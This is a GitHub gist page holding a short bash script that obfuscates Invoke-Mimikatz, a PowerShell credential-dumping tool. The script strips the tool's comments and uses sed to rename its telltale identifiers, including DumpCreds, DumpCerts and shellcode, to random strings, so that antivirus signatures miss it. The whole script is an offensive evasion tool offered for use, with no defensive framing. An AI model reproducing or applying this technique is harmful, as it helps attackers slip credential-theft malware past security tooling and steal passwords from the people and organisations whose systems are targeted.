Skip to content

Instantly share code, notes, and snippets.

@gazcbm
Forked from infosecn1nja/obfuscate-mimikatz.sh
Created April 24, 2019 15:28
Show Gist options
  • Save gazcbm/53265733adf59ff0d6483eec0aa7403d to your computer and use it in GitHub Desktop.
Save gazcbm/53265733adf59ff0d6483eec0aa7403d to your computer and use it in GitHub Desktop.
#!/bin/bash
if [[ $# -le 1 ]] ; then
echo './obfuscate-mimikatz.sh Invoke-Mimikatz.ps1 newfile.ps1'
exit 1
fi
randstr(){< /dev/urandom tr -dc a-zA-Z0-9 | head -c${1:-8};}
cp $1 $2
sed -i -e "s/Invoke-Mimikatz/Invoke-$(randstr)/g" $2
sed -i -e '/<#/,/#>/c\\' $2
sed -i -e "s/^[[:space:]]*#.*$//g" $2
sed -i -e "s/DumpCreds/$(randstr)/g" $2
sed -i -e "s/DumpCerts/$(randstr)/g" $2
sed -i -e "s/CustomCommand/$(randstr)/g" $2
sed -i -e "s/TypeBuilder/$(randstr)/g" $2
sed -i -e "s/Win32Types/$(randstr)/g" $2
sed -i -e "s/Win32Functions/$(randstr)/g" $2
sed -i -e "s/shellcode/$(randstr)/g" $2
sed -i -e "s/PEBytes64/$(randstr)/g" $2
sed -i -e "s/PEBytes32/$(randstr)/g" $2
sed -i -e "s/ArgumentPtr/$(randstr)/g" $2
sed -i -e "s/CallDllMainSC1/$(randstr)/g" $2
sed -i -e "s/NoteProperty/$(randstr)/g" $2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment